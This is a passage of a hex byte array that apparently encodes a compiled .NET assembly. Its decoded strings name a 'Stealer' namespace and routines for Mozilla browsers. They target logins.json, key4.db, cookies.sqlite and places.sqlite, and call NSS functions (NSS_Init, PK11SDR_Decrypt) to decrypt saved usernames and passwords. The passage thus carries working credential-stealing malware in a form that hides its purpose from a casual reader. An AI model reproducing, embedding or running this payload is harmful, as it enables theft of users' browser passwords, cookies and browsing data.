0x50, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x74,\n\t0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70,\n\t0x69, 0x6C, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x52, 0x65, 0x6C, 0x61, 0x78,\n\t0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,\n\t0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79,\n\t0x50, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C,\n\t0x79, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x41, 0x74,\n\t0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65,\n\t0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x6E, 0x79, 0x41,\n\t0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6E,\n\t0x74, 0x69, 0x6D, 0x65, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62,\n\t0x69, 0x6C, 0x69, 0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,\n\t0x74, 0x65, 0x00, 0x42, 0x79, 0x74, 0x65, 0x00, 0x68, 0x4D, 0x6F, 0x7A,\n\t0x47, 0x6C, 0x75, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x56, 0x61, 0x6C,\n\t0x75, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x56, 0x61, 0x6C, 0x75,\n\t0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x56, 0x61, 0x6C, 0x75, 0x65,\n\t0x00, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x76, 0x61,\n\t0x6C, 0x75, 0x65, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x44, 0x72,\n\t0x69, 0x76, 0x65, 0x00, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x00, 0x67,\n\t0x65, 0x74, 0x5F, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x5F, 0x70, 0x61, 0x67,\n\t0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x5F, 0x73, 0x71, 0x6C, 0x44, 0x61,\n\t0x74, 0x61, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x52,\n\t0x65, 0x73, 0x69, 0x7A, 0x65, 0x00, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x4F,\n\t0x66, 0x00, 0x5F, 0x64, 0x62, 0x45, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E,\n\t0x67, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E,\n\t0x74, 0x69, 0x6D, 0x65, 0x2E, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,\n\t0x69, 0x6E, 0x67, 0x00, 0x46, 0x72, 0x6F, 0x6D, 0x42, 0x61, 0x73, 0x65,\n\t0x36, 0x34, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x54, 0x6F, 0x53,\n\t0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72,\n\t0x69, 0x6E, 0x67, 0x00, 0x53, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6E,\n\t0x67, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x54, 0x6F, 0x55,\n\t0x4C, 0x6F, 0x6E, 0x67, 0x00, 0x4D, 0x61, 0x74, 0x63, 0x68, 0x00, 0x47,\n\t0x65, 0x74, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x50, 0x61, 0x74,\n\t0x68, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x54, 0x65, 0x6D, 0x70, 0x50, 0x61,\n\t0x74, 0x68, 0x00, 0x47, 0x65, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72,\n\t0x50, 0x61, 0x74, 0x68, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x50, 0x61,\n\t0x74, 0x68, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x50, 0x61, 0x74, 0x68,\n\t0x00, 0x70, 0x61, 0x74, 0x68, 0x00, 0x57, 0x69, 0x6E, 0x41, 0x70, 0x69,\n\t0x00, 0x41, 0x73, 0x79, 0x6E, 0x63, 0x43, 0x61, 0x6C, 0x6C, 0x62, 0x61,\n\t0x63, 0x6B, 0x00, 0x63, 0x61, 0x6C, 0x6C, 0x62, 0x61, 0x63, 0x6B, 0x00,\n\t0x62, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72, 0x6B, 0x00, 0x46, 0x6F,\n\t0x72, 0x6D, 0x61, 0x74, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72, 0x6B,\n\t0x00, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x47, 0x6C, 0x6F, 0x62, 0x61,\n\t0x6C, 0x00, 0x46, 0x72, 0x65, 0x65, 0x48, 0x47, 0x6C, 0x6F, 0x62, 0x61,\n\t0x6C, 0x00, 0x4D, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6C, 0x00, 0x6B, 0x65,\n\t0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x50,\n\t0x35, 0x58, 0x37, 0x41, 0x34, 0x51, 0x31, 0x53, 0x45, 0x2E, 0x64, 0x6C,\n\t0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x72, 0x6C, 0x00, 0x73,\n\t0x65, 0x74, 0x5F, 0x73, 0x55, 0x72, 0x6C, 0x00, 0x43, 0x76, 0x6C, 0x00,\n\t0x47, 0x76, 0x6C, 0x00, 0x54, 0x53, 0x45, 0x43, 0x49, 0x74, 0x65, 0x6D,\n\t0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x52, 0x6F, 0x6F, 0x74,\n\t0x4E, 0x75, 0x6D, 0x00, 0x72, 0x6F, 0x77, 0x4E, 0x75, 0x6D, 0x00, 0x53,\n\t0x45, 0x43, 0x49, 0x74, 0x65, 0x6D, 0x4C, 0x65, 0x6E, 0x00, 0x50, 0x72,\n\t0x6F, 0x67, 0x72, 0x61, 0x6D, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x43, 0x68,\n\t0x69, 0x6C, 0x64, 0x72, 0x65, 0x6E, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65,\n\t0x6D, 0x2E, 0x52, 0x65, 0x66, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E,\n\t0x00, 0x43, 0x61, 0x6C, 0x6C, 0x69, 0x6E, 0x67, 0x43, 0x6F, 0x6E, 0x76,\n\t0x65, 0x6E, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x41, 0x72, 0x67, 0x75, 0x6D,\n\t0x65, 0x6E, 0x74, 0x4E, 0x75, 0x6C, 0x6C, 0x45, 0x78, 0x63, 0x65, 0x70,\n\t0x74, 0x69, 0x6F, 0x6E, 0x00, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x00,\n\t0x4A, 0x73, 0x6F, 0x6E, 0x00, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x43,\n\t0x6F, 0x6D, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6F, 0x6E, 0x00, 0x66, 0x70,\n\t0x4E, 0x73, 0x73, 0x53, 0x68, 0x75, 0x74, 0x64, 0x6F, 0x77, 0x6E, 0x00,\n\t0x46, 0x69, 0x6C, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x49, 0x6E,\n\t0x66, 0x6F, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79,\n\t0x49, 0x6E, 0x66, 0x6F, 0x00, 0x5A, 0x65, 0x72, 0x6F, 0x00, 0x47, 0x72,\n\t0x6F, 0x75, 0x70, 0x00, 0x43, 0x68, 0x61, 0x72, 0x00, 0x53, 0x74, 0x65,\n\t0x61, 0x6C, 0x65, 0x72, 0x2E, 0x52, 0x65, 0x61, 0x64, 0x65, 0x72, 0x00,\n\t0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6C, 0x46, 0x6F, 0x6C, 0x64, 0x65,\n\t0x72, 0x00, 0x64, 0x65, 0x6C, 0x69, 0x6D, 0x69, 0x74, 0x65, 0x72, 0x00,\n\t0x47, 0x65, 0x74, 0x44, 0x65, 0x6C, 0x65, 0x67, 0x61, 0x74, 0x65, 0x46,\n\t0x6F, 0x72, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x6F,\n\t0x69, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x42, 0x69, 0x74, 0x43, 0x6F, 0x6E,\n\t0x76, 0x65, 0x72, 0x74, 0x65, 0x72, 0x00, 0x54, 0x6F, 0x4C, 0x6F, 0x77,\n\t0x65, 0x72, 0x00, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x44, 0x69,\n\t0x72, 0x00, 0x47, 0x65, 0x74, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61,\n\t0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63,\n\t0x63, 0x74, 0x6F, 0x72, 0x00, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74,\n\t0x6F, 0x72, 0x00, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73,\n\t0x74, 0x69, 0x63, 0x73, 0x00, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72,\n\t0x64, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75,\n\t0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F,\n\t0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x53, 0x79,\n\t0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65,\n\t0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72,\n\t0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67,\n\t0x69, 0x6E, 0x67, 0x4D, 0x6F, 0x64, 0x65, 0x73, 0x00, 0x43, 0x6F, 0x6F,\n\t0x6B, 0x69, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x44, 0x69, 0x72, 0x65,\n\t0x63, 0x74, 0x6F, 0x72, 0x69, 0x65, 0x73, 0x00, 0x5F, 0x6D, 0x61, 0x73,\n\t0x74, 0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E, 0x74, 0x72,\n\t0x69, 0x65, 0x73, 0x00, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E,\n\t0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x52, 0x65,\n\t0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x00,\n\t0x50, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x46, 0x69, 0x6C, 0x65, 0x73,\n\t0x00, 0x5F, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x4E, 0x61, 0x6D, 0x65, 0x73,\n\t0x00, 0x5F, 0x66, 0x69, 0x6C, 0x65, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00,\n\t0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C, 0x42, 0x79, 0x74, 0x65, 0x73,\n\t0x00, 0x47, 0x65, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x76, 0x61,\n\t0x6C, 0x75, 0x65, 0x73, 0x00, 0x42, 0x6F, 0x6F, 0x6B, 0x6D, 0x61, 0x72,\n\t0x6B, 0x73, 0x00, 0x45, 0x71, 0x75, 0x61, 0x6C, 0x73, 0x00, 0x42, 0x72,\n\t0x6F, 0x77, 0x73, 0x65, 0x72, 0x55, 0x74, 0x69, 0x6C, 0x73, 0x00, 0x53,\n\t0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,\n\t0x73, 0x2E, 0x46, 0x6F, 0x72, 0x6D, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74,\n\t0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x2E, 0x52, 0x65, 0x67, 0x75,\n\t0x6C, 0x61, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F,\n\t0x6E, 0x73, 0x00, 0x53, 0x74, 0x65, 0x61, 0x6C, 0x65, 0x72, 0x2E, 0x48,\n\t0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69,\n\t0x6D, 0x65, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x47, 0x65,\n\t0x74, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x42, 0x72, 0x6F, 0x77,\n\t0x73, 0x65, 0x72, 0x73, 0x00, 0x73, 0x45, 0x6E, 0x63, 0x50, 0x61, 0x73,\n\t0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73,\n\t0x73, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64,\n\t0x72, 0x65, 0x73, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00,\n\t0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61,\n\t0x74, 0x00, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x6F, 0x62, 0x6A,\n\t0x65, 0x63, 0x74, 0x00, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64,\n\t0x54, 0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66,\n\t0x73, 0x65, 0x74, 0x00, 0x6F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x53,\n\t0x70, 0x6C, 0x69, 0x74, 0x00, 0x66, 0x70, 0x4E, 0x73, 0x73, 0x49, 0x6E,\n\t0x69, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61, 0x75,\n\t0x6C, 0x74, 0x00, 0x49, 0x41, 0x73, 0x79, 0x6E, 0x63, 0x52, 0x65, 0x73,\n\t0x75, 0x6C, 0x74, 0x00, 0x44, 0x69, 0x61, 0x6C, 0x6F, 0x67, 0x52, 0x65,\n\t0x73, 0x75, 0x6C, 0x74, 0x00, 0x74, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6C,\n\t0x74, 0x00, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x53, 0x71, 0x6C,\n\t0x53, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E,\n\t0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65,\n\t0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x69, 0x43,\n\t0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x69,\n\t0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x69, 0x43,\n\t0x6F, 0x75, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x52, 0x6F, 0x77, 0x43,\n\t0x6F, 0x75, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x50, 0x61, 0x74, 0x68,\n\t0x52, 0x6F, 0x6F, 0x74, 0x00, 0x66, 0x70, 0x50, 0x6B, 0x31, 0x31, 0x53,\n\t0x64, 0x72, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x00, 0x54, 0x72,\n\t0x69, 0x6D, 0x53, 0x74, 0x61, 0x72, 0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76,\n\t0x65, 0x72, 0x74, 0x00, 0x47, 0x65, 0x63, 0x6B, 0x6F, 0x42, 0x72, 0x6F,\n\t0x77, 0x73, 0x65, 0x72, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x4D, 0x6F,\n\t0x76, 0x65, 0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65,\n\t0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x41,\n\t0x6C, 0x6C, 0x54, 0x65, 0x78, 0x74, 0x00, 0x53, 0x68, 0x6F, 0x77, 0x00,\n\t0x65, 0x6E, 0x64, 0x49, 0x64, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74,\n\t0x49, 0x64, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x64,\n\t0x65, 0x78, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x00, 0x4D, 0x65, 0x73,\n\t0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x00, 0x49, 0x6E, 0x69, 0x74,\n\t0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00,\n\t0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F,\n\t0x73, 0x4B, 0x65, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x4B, 0x65,\n\t0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x48, 0x6F, 0x73, 0x74, 0x4B,\n\t0x65, 0x79, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x48, 0x6F, 0x73, 0x74,\n\t0x4B, 0x65, 0x79, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x00, 0x4C, 0x6F, 0x61,\n\t0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x00, 0x46, 0x72, 0x65,\n\t0x65, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x00, 0x43, 0x72, 0x65,\n\t0x61, 0x74, 0x65, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79,\n\t0x00, 0x73, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00,\n\t0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72,\n\t0x79, 0x00, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x45, 0x6E, 0x74, 0x72, 0x79,\n\t0x00, 0x53, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x4D, 0x61, 0x73, 0x74, 0x65,\n\t0x72, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x49, 0x6E,\n\t0x65, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x49, 0x73, 0x4E,\n\t0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x00, 0x00,\n\t0x00, 0x1B, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00,\n\t0x73, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x71, 0x00, 0x6C, 0x00, 0x69, 0x00,\n\t0x74, 0x00, 0x65, 0x00, 0x00, 0x1B, 0x6D, 0x00, 0x6F, 0x00, 0x7A, 0x00,\n\t0x5F, 0x00, 0x62, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x6D, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x00, 0x03, 0x30, 0x00,\n\t0x00, 0x1D, 0x63, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00, 0x69, 0x00,\n\t0x65, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x71, 0x00, 0x6C, 0x00,\n\t0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x17, 0x6D, 0x00, 0x6F, 0x00,\n\t0x7A, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6B, 0x00,\n\t0x69, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x15, 0x6D, 0x00, 0x6F, 0x00,\n\t0x7A, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x63, 0x00,\n\t0x65, 0x00, 0x73, 0x00, 0x00, 0x55, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00,\n\t0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x20, 0x00,\n\t0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x20, 0x00,\n\t0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00,\n\t0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x20, 0x00, 0x70, 0x00,\n\t0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00,\n\t0x64, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x00, 0x17, 0x6C, 0x00, 0x6F, 0x00,\n\t0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x2E, 0x00, 0x6A, 0x00,\n\t0x73, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x19, 0x2C, 0x00, 0x22, 0x00,\n\t0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00,\n\t0x22, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x5B, 0x00, 0x00, 0x43, 0x2C, 0x00,\n\t0x22, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x74, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x79, 0x00,\n\t0x56, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x50, 0x00, 0x61, 0x00,\n\t0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00,\n\t0x73, 0x00, 0x22, 0x00, 0x00, 0x05, 0x7D, 0x00, 0x2C, 0x00, 0x00, 0x2D,\n\t0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00,\n\t0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x74, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00,\n\t0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x21, 0x00, 0x00, 0x11, 0x68, 0x00,\n\t0x6F, 0x00, 0x73, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x00, 0x23, 0x65, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x72, 0x00,\n\t0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x00, 0x23, 0x65, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x72, 0x00,\n\t0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x50, 0x00,\n\t0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00,\n\t0x64, 0x00, 0x00, 0x19, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x73, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00,\n\t0x69, 0x00, 0x63, 0x00, 0x00, 0x0F, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00,\n\t0x33, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x0F, 0x6B, 0x00,\n\t0x65, 0x00, 0x79, 0x00, 0x34, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x62, 0x00,\n\t0x00, 0x11, 0x63, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x39, 0x00,\n\t0x2E, 0x00, 0x64, 0x00, 0x62, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x6D, 0x00,\n\t0x6F, 0x00, 0x7A, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00,\n\t0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x13, 0x5C, 0x00,\n\t0x6E, 0x00, 0x73, 0x00, 0x73, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x64, 0x00,\n\t0x6C, 0x00, 0x6C, 0x00, 0x00, 0x11, 0x4E, 0x00, 0x53, 0x00, 0x53, 0x00,\n\t0x5F, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x1F,\n\t0x50, 0x00, 0x4B, 0x00, 0x31, 0x00, 0x31, 0x00, 0x53, 0x00, 0x44, 0x00,\n\t0x52, 0x00, 0x5F, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00,\n\t0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x00, 0x19, 0x4E, 0x00, 0x53, 0x00,\n\t0x53, 0x00, 0x5F, 0x00, 0x53, 0x00, 0x68, 0x00, 0x75, 0x00, 0x74, 0x00,\n\t0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6E, 0x00, 0x00, 0x27, 0x46, 0x00,\n\t0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00,\n\t0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x61, 0x00,\n\t0x64, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x53, 0x00, 0x53, 0x00, 0x0A, 0x00,\n\t0x00, 0x03, 0x22, 0x00, 0x00, 0x17, 0x22, 0x00, 0x3A, 0x00, 0x22, 0x00,\n\t0x28, 0x00, 0x5B, 0x00, 0x5E, 0x00, 0x22, 0x00, 0x5D, 0x00, 0x2B, 0x00,\n\t0x29, 0x00, 0x22, 0x00, 0x00, 0x01, 0x00, 0x2D, 0x50, 0x00, 0x52, 0x00,\n\t0x4F, 0x00, 0x43, 0x00, 0x45, 0x00, 0x53, 0x00, 0x53, 0x00, 0x4F, 0x00,\n\t0x52, 0x00, 0x5F, 0x00, 0x41, 0x00, 0x52, 0x00, 0x43, 0x00, 0x48, 0x00,\n\t0x49, 0x00, 0x54, 0x00, 0x45, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00,\n\t0x33, 0x00, 0x32, 0x00, 0x00, 0x23, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x67, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x46, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x28, 0x00, 